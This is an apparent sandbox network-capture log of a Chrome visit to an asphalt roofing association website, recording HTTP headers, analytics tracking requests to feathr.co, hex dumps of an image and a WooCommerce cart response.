2024-04-23 14:54:29 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.6	50112	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:29 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884067978 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:29 UTC	962	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:29 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FsTaXAwEB%2BJVkZfzZVmHxZ0O7467497PfX7OJcC8F7fVi41XkHGN3DFLYSm%2FzlWR1AWboPoN1raaTzvtb6DSlMgU2Cu3oFONbAe0bzi5XIpTJVfg8obyHMjhdSILC%2FVw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb06b8d1f7b92-ATL
2024-04-23 14:54:29 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.6	50113	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:29 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:29 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:29 GMT x-amzn-RequestId: 6723ec83-4471-4741-ab90-b4bba7901a94 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:29 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzB9GkqIAMEdpg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cba5-5c68f4f111a61a805b5dc124;Parent=732f802e87ca69b0;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 8bc02eb70fbe9b20b0505e49467df014.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: KHlNxQkJ_UlSsbNoeaaB9-xJFhjHWPYbsT9zbuClcMkwn3yznaxy7Q==
2024-04-23 14:54:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.6	50114	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:29 UTC	710	OUT	GET /wp-content/uploads/2017/04/roofing.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:29 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:29 GMT Content-Type: image/png Content-Length: 545158 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:31:22 GMT ETag: "1be1e2e-85186-5d9f3dc6d8a80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:29 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 d0 00 00 05 35 02 03 00 00 00 36 40 b7 f2 00 00 00 0c 50 4c 54 45 45 4a 49 2f 32 32 20 21 22 12 12 14 e2 87 80 f9 00 08 00 00 49 44 41 54 78 da 4c fd 51 8c 1b d9 99 26 0a 9e c8 ca 88 ec 4a ed d8 99 de 8c 2c 27 13 96 66 81 aa 46 4b b5 2e bd dc fb 30 7d 31 dd c1 9a 24 0b 56 01 77 22 6a e2 9c 2c 06 61 a5 0c 64 a4 2b 82 23 f2 c5 be 68 c9 6b 65 aa c7 55 0d cc 7d 21 7d 79 42 43 12 d7 a5 5a f0 44 29 4e b4 18 fd 20 19 c5 c8 56 44 ef c3 ec be aa 06 4a 35 c6 06 76 e5 8b 64 b6 19 dc 4e f6 00 ca da 62 70 f2 fc fb 20 db 33 7c 21 c0 d7 8f ff 7f be ef 3b df ff 1f 94 a7 00 00 00 79 04 22 05 00 71 ca 45 2f 15 29 c0 1c 00 e6 82 cf 07 09 9f f5 60 02 e2 5e 94 a7 30 1b 98 3c 61 db 5f 71 96 0e 06 98 35 60 3a 3f 14 84 aa Data Ascii: PNGIHDR56@PLTEEJI/22 !"IDATxLQ&J,'fFK.0}1$Vw"j,ad+#hkeU}!}yBCZD)N VDJ5vdNbp 3\|!;y"qE/)`^0<a_q5`:?
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: f4 bf d3 6e 00 62 2f ae 4d 5e f9 36 39 9f 8f 23 00 98 42 37 05 01 09 c5 29 cc ea c6 ba 60 22 ec 79 47 83 f8 dc c1 b6 81 77 f0 ff 62 d7 04 4e 62 5c 1f be c5 b0 ba 7d 52 cd 31 8e ff 81 a4 39 2d bb bc b6 9d 0b ce 59 3a 7e 8f 05 4e 3d 0b a4 54 94 30 5e c4 db c2 65 aa e5 61 f2 d3 f6 85 c9 59 6d 96 79 2e 8c 2a 9a ff fc 69 9d c7 6d 07 32 5c 62 e8 6d dd 74 05 fd 48 d2 56 a4 fe 86 05 5a e1 e8 f6 81 b1 6e 4b 0f 91 cc 27 71 d9 f7 db 68 e9 d8 91 67 0b d7 28 96 4a 56 e5 e6 06 66 6f 1f 38 ef b7 31 5e 1d b4 f9 b1 1b a3 eb 3c ec fa 31 c7 2b 34 18 f6 4b 5b db 33 2b 28 67 fd 7a 69 6f b8 d1 4a 1e 6d 06 1a 76 b3 e0 83 7c 7f 21 2e 53 86 9b bb 2a 08 72 7d 2b 0d e7 00 f0 f5 d2 fc c5 aa 8e d6 94 79 7c 1f a1 b7 de 70 34 b5 ee 6e 20 89 b9 56 3d d7 6c 13 15 54 7d 45 c6 ce 5e 49 37 Data Ascii: nb/M^69#B7)`"yGwbNb\}R19-Y:~N=T0^eaYmy.im2\bmtHVZnK'qhg(JVfo81^<1+4K[3+(gzioJmv\|!.Sr}+y\|p4n V=lT}E^I7
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: 25 5c 6e ba 6d d4 46 48 47 7f 8b 14 0d bd e3 ea 64 b3 87 10 e6 1f 7e 63 b0 77 5a 16 b9 fe e3 9d f4 00 21 86 e4 c2 87 df 3c 40 ea 86 66 ff bb e7 65 aa d9 1d ed 5f 71 a7 54 b9 37 46 a8 d0 1b af 2d ae 19 44 00 9c 21 a4 0c d4 ea cf f0 90 29 81 7e 5f 97 8e 10 c3 9b 73 ff 88 df be 6e 9b 0d ef af f0 a5 87 6b b2 b6 b5 9b f8 38 85 20 8e 93 68 c2 9f 58 27 54 50 97 73 13 e3 3d 80 f3 06 0b e7 1c b2 01 70 77 7b 1e 0f 38 11 a7 3e db 48 b2 c3 74 9a 88 41 16 1d 71 4e 1b 00 9c 3a 75 24 fe 5b 72 26 15 29 00 44 73 98 e7 af e2 72 5d 3b e4 7e 0d e6 00 42 9c 40 38 73 d3 70 02 93 11 87 87 ce ad 88 73 df 8a 07 d9 cf d6 85 f7 b0 52 49 a6 ad 86 e0 6e 16 94 1c 76 33 29 56 7e 4c 9e 26 03 31 38 04 e1 5c f5 39 46 58 de 14 e3 8a be 1f 07 aa 63 85 c0 de c8 02 3e e9 51 b3 82 b1 c1 98 73 Data Ascii: %\nmFHGd~cwZ!<@fe_qT7F-D!)~_snk8 hX'TPs=pw{8>HtAqN:u$[r&)Dsr];~B@8spsRInv3)V~L&18\9FXc>Qs
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: 4c 70 11 c2 29 8f ef 9c a2 01 00 9c 76 60 80 fd df 2f 0a 0d 01 80 55 05 0f 27 9c df 26 6e 98 e3 8a 13 4d a2 29 07 5e 89 8e f6 f6 43 f8 87 b1 c5 66 b8 21 f0 4e 3e cd 3a 49 ab 9c f1 98 77 62 b6 99 66 7c e4 7a 5e 1e 28 cc e2 87 f3 f8 90 69 92 47 62 ce 0a 54 b5 b6 1a 27 7d 24 75 fd 0c 4b 8c 24 01 31 76 ef 30 09 dd e6 ec 87 b1 85 2f b4 0b b5 f4 f4 af 25 fe b5 f4 f4 62 80 8a aa d5 44 85 aa 47 ad 87 e8 8f ef 5e 19 3d b1 1e 9b 57 46 8b 48 71 33 5e cb 79 8b 75 fb 32 47 ff 7a 1a b7 15 1e 78 d9 79 6d 54 4b 45 1d d5 4e d2 ac b2 97 cf 47 10 3f b9 c4 b2 ad ea 3c d3 6a be 23 ef 4c 41 db 07 2f e6 5c 74 b3 6e bc bb 56 88 f7 ac 97 78 5b 64 7d d2 1d b9 d3 31 36 f4 cd cc c1 92 4b 9a 3f 25 d0 76 75 89 37 97 bd 63 a4 6c 03 00 d0 1d 8e 5b 8f 9c c2 91 b6 d0 3d 5a c0 78 ff f9 dd Data Ascii: Lp)v`/U'&nM)^Cf!N>:Iwbf\|z^(iGbT'}$uK$1v0/%bDG^=WFHq3^yu2GzxymTKENG?<j#LA/\tnVx[d}16K?%vu7cl[=Zx
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: 91 de c6 a0 1b ba c8 5c 74 35 d3 32 f1 33 36 22 c5 61 b1 41 fa 5d 87 99 ad 88 96 89 7f f4 b9 17 e1 71 76 44 49 65 16 10 b6 bd d8 f5 a4 22 65 95 fa 3c 89 ab 82 36 8d bc b4 28 a8 29 13 9d 5e d8 b5 09 73 70 e3 7d 36 4a 3c 5a f0 5f a9 4b ec 78 81 19 14 aa 56 f1 fd 80 9a 7d ed 47 3c 31 dc 25 99 bf c9 fa 7a b3 f4 83 86 b0 01 a6 d5 2d 9c 93 81 33 87 44 2d 54 09 01 15 3a 65 5d 73 9f 13 56 17 b6 39 d6 2b 62 eb 0f cf 0d 89 5c f6 a7 44 50 4a b5 97 1b f3 eb 18 f9 8d 67 5a bb 6c 68 f2 47 ef b0 1a 1b c1 7c dd 10 2d e2 74 62 84 58 fa e2 d1 c3 1f d4 a1 36 9c bf db 59 68 d9 3c 08 8f 93 1c d3 3a e7 a2 32 21 42 81 a4 47 3a 45 c4 57 d6 fb 43 91 9c 7b 42 b8 7d 2e 99 03 d6 b0 d4 b3 bc ba d0 13 79 65 5a 25 2c 02 b8 45 e6 e9 a7 af 16 72 7c 42 4b 88 09 39 26 42 6d 28 5c 3e e8 6b Data Ascii: \t5236"aA]qvDIe"e<6()^sp}6J<Z_KxV}G<1%z-3D-T:e]sV9+b\DPJgZlhG\|-tbX6Yh<:2!BG:EWC{B}.yeZ%,Er\|BK9&Bm(\>k
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: 54 0d 69 4d 6b 68 6c d0 ed e5 66 4d 49 e6 85 5d 38 f5 5e b6 ab dd ef b6 cd 67 89 27 96 bf 31 90 f5 6e 71 aa 7c 95 65 54 f7 83 29 c9 e5 5f e9 ed 4e 4c cc e6 78 fd 21 f0 4b 32 37 58 de 78 3b 4a dc 53 02 eb e4 a3 f4 3d 2a fd db 5d de 20 95 3a 7f fb 59 ce d3 97 2d be a5 d3 f2 1f e7 ea a0 0a 84 6f 4d ab 7a 27 75 5e 1c d0 5e 6e 6b c3 78 cc 53 99 2f b3 96 92 8a e5 6c 99 cb cb 09 26 35 17 c3 5a 38 46 ac 83 6c 24 48 0a d2 8f 00 f8 81 24 34 ac ca 11 2f 97 c5 2c bd d3 31 3b e7 17 48 42 67 77 bf d4 aa 5c 01 20 d7 ee e4 9f a5 4c 95 b3 74 dc e5 88 cc 11 f1 a2 f3 14 4a da 76 e6 c2 e5 06 ad 5b 57 7e ee bb cf 3b 27 96 f8 47 8f 38 f3 e1 c9 2f 24 31 bb 9f 02 d0 28 31 29 67 2f 37 61 cd ec a4 b6 3f 32 86 b9 96 d3 62 1d 3e 47 3a c9 4d 52 ee 98 54 cb 2d 5a 05 a6 f7 ac 2b bf 77 Data Ascii: TiMkhlfMI]8^g'1nq\|eT)_NLx!K27Xx;JS=*] :Y-oMz'u^^nkxS/l&5Z8Fl$H$4/,1;HBgw\ LtJv[W~;'G8/$1(1)g/7a?2b>G:MRT-Z+w
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: aa 64 5a 84 80 38 4f b3 de 61 b4 b5 b5 7b 2a f1 14 8a c1 19 52 e0 d6 f7 0d d3 69 b3 61 aa 9c 4a f4 05 90 e7 df 09 9e 44 5d a7 ae e5 ef f7 b9 df 88 00 1c 9b 2a f5 eb b1 5c 23 b7 36 15 88 4e c9 02 71 ea 27 dc 60 20 dd e0 21 39 38 d8 9f 6b 7d dd ca 91 55 ad 99 4a bc 6f bf c3 44 72 3b 6c 9e 82 b2 45 cf 7c 65 54 22 1c fa 56 e5 1a bc f7 93 57 89 e6 ba 75 23 99 59 59 9a 07 00 ee d3 1c 00 a7 8a f0 a1 ae b5 ac 4f b6 8a 5f 76 80 fb 40 00 e0 52 0a 01 ab af 05 37 de b6 c2 23 a2 d7 d5 6f f1 67 c1 54 97 78 5d 29 b7 9f 8f da f9 eb 67 ff 2c 3d 9e 1a 97 9b a9 53 9c 78 1d 3e 82 18 d5 a2 92 cc 85 8f 21 6f 15 51 05 f3 69 99 aa 83 04 ab 3f 04 45 4c d3 84 55 6d 6f c0 53 61 d9 b1 95 b2 95 af 60 50 ff 89 27 6d 9f d3 88 dd 96 6c 59 9d 6f e1 90 a8 5c 5f 43 7c a1 ed 0a 7e d9 1f 0a Data Ascii: dZ8Oa{RiaJD]\#6Nq'` !98k}UJoDr;lE\|eT"VWu#YYO_v@R7#ogTx])g,=Sx>!oQi?ELUmoSa`P'mlYo\_C\|~
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: fd 8e fc 75 b6 82 25 11 13 db 27 3d 74 72 26 2a 3d 27 94 9d c5 7d 62 ca 09 71 83 fd 68 8b 40 98 04 51 88 71 b2 16 10 42 22 4c 08 19 db e1 24 1e e0 03 e4 87 c9 1a d6 ff cd 28 24 89 c3 0c 23 53 26 66 90 d8 11 fe 34 72 83 87 7a 84 eb 2f f9 80 38 a6 d2 4d 2f 3d 5c 2a b0 95 64 10 3d 63 3c df 1a 9d ae fd 76 4d 17 a9 be 83 20 13 7d 9d bb f5 40 57 76 57 77 4a 4b 45 82 f1 21 e6 d8 05 77 f8 5b 6a 57 63 be 49 43 f6 06 92 b5 54 d4 d2 34 b6 11 b5 5e ca 3d 69 9d 85 d0 fa 92 a2 c5 eb f3 8a d9 2e 72 8c 8c 1f d0 38 60 2d 16 32 c6 b9 fd 82 b2 4c a6 58 b8 9e da 88 fc e6 29 6d 3e d2 d6 47 86 2a 41 e6 45 9a 52 84 f9 36 28 fd ba fc 80 b2 c4 6b 8c ab 55 58 5d 71 c4 f0 df 8d 2b 98 15 d2 6f 8e c4 cd a5 a5 4b b6 01 02 9c 93 dd 5b c2 c9 fb 8b 64 97 c6 be 1b ae fe 8a 4c 7f b9 7d b3 Data Ascii: u%'=tr&='}bqh@QqB"L$($#S&f4rz/8M/=\d=c<vM }@WvWwJKE!w[jWcICT4^=i.r8`-2LX)m>G*AER6(kUX]q+oK[dL}
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: bc c4 0b 3a 00 50 85 b7 10 92 8d 77 bc 0a 3a 39 fa 44 6d c4 06 2b 01 c0 65 e3 1a bc 33 60 d5 ba 00 67 2a 64 cf 83 a1 1b 70 48 73 aa 37 cd 32 ae 25 bd a0 82 9f b7 ba 5c 3f b4 fd 28 92 25 5a df da 4a f6 3b 4e 6f 58 21 40 08 21 3e 49 42 32 b6 70 3c 34 1b 63 37 99 26 24 c1 24 3a ea 8d 3e b5 02 92 e0 9a 29 21 84 1d 13 2f 89 08 85 64 d2 f3 06 72 b0 53 c7 a1 8d 23 34 d4 1f 72 83 30 0e 3e 19 ae 3a 28 7b 99 bc a2 74 d9 73 08 99 29 8f cf 99 4a af f3 50 36 4b ee d0 29 39 61 45 d9 cb 57 76 c2 a1 a4 c9 c9 67 07 5a 36 bf e7 c8 1b e7 a3 e1 43 aa 0d 32 aa 05 ff e7 88 ee 52 78 7b d9 dd e1 45 1d 65 6a a6 1f 23 66 20 de 42 f2 c0 46 0d 92 64 2f fc db 8f c0 f4 9d d6 ea 2e 50 d6 70 13 e0 0c 67 99 8e 81 b1 cf be 23 6f 67 01 f5 24 38 06 d4 1e 72 67 55 4a e0 b6 2b f1 dd 2d a4 74 Data Ascii: :Pw:9Dm+e3`g*dpHs72%\?(%ZJ;NoX!@!>IB2p<4c7&$$:>)!/drS#4r0>:({ts)JP6K)9aEWvgZ6C2Rx{Eej#f BFd/.Ppg#og$8rgUJ+-t
2024-04-23 14:54:30 UTC	8192	IN	Data Raw: 76 6e 57 d0 d2 ff 37 ec 38 73 f1 4b 21 75 96 36 01 4e a5 b3 3a 4b af de be 9e 95 81 e2 7e d2 2a 75 53 3b 56 59 b8 19 5e 64 ff 6c 0b 63 83 02 16 d6 9a d4 41 1b 9e c1 f2 41 b6 93 5e b8 34 62 99 12 3b 8f 10 88 4d fa f3 97 74 ba 60 64 ba a7 bb c0 7e 97 7b 02 73 af ea ac fc b5 d1 9c 83 14 71 53 f1 87 63 00 a4 2a d7 14 f6 7b f4 0a 64 7c b6 50 36 d1 5b 6c be 6c 39 b5 61 26 d6 90 dd 70 3d b8 2e 2b 6d a4 5f f4 34 21 b3 79 a6 62 a2 a1 9c f1 85 94 27 63 47 be 68 2c a4 fa 7a 90 88 f2 a1 67 d6 2f e2 c4 27 93 e4 31 1d e0 a1 0f 84 78 1b 91 4f 70 90 4c ff 79 9d 22 aa 90 b1 2f 1f ee f7 fc 71 85 4c 08 d9 7a d6 38 24 a4 af 90 83 15 fb 79 bd d2 73 07 e1 2c 8c 7b 31 56 4b ee 38 ff e7 66 82 64 76 ee 21 be f9 69 82 6d bc 11 61 df b9 e9 5b 07 6c 9e 2d a6 23 32 f1 de 5e d0 3e 80 Data Ascii: vnW78sK!u6N:K~uS;VY^dlcAA^4b;Mt`d~{sqSc{d\|P6[ll9a&p=.+m_4!yb'cGh,zg/'1xOpLy"/qLz8$ys,{1VK8fdv!ima[l-#2^>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.6	50115	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:30 UTC	928	OUT	GET /v1/analytics/crumb?cb=1713884068907&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:30 UTC	1056	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:30 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nB%2Bb9uonWXo3PteZEpX2D0p96OJcviQBSkxTIJIQlbYJaNgZNYhKq95UWI90LpyRJ8YWoQY7b4vqaI13ce6AA4Yk0YBCBRCIrp29Sm9CHtw3YvdxagukDKCIvz4AEuJp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0714a367be1-ATL
2024-04-23 14:54:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.6	50116	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:30 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:30 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:30 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:30 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.6	50117	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 6a 42 6d 73 73 73 41 4e 45 57 58 79 34 50 56 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 65 32 64 35 35 33 36 65 34 31 39 62 64 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 2jBmsssANEWXy4PV.1Context: b0e2d5536e419bd1
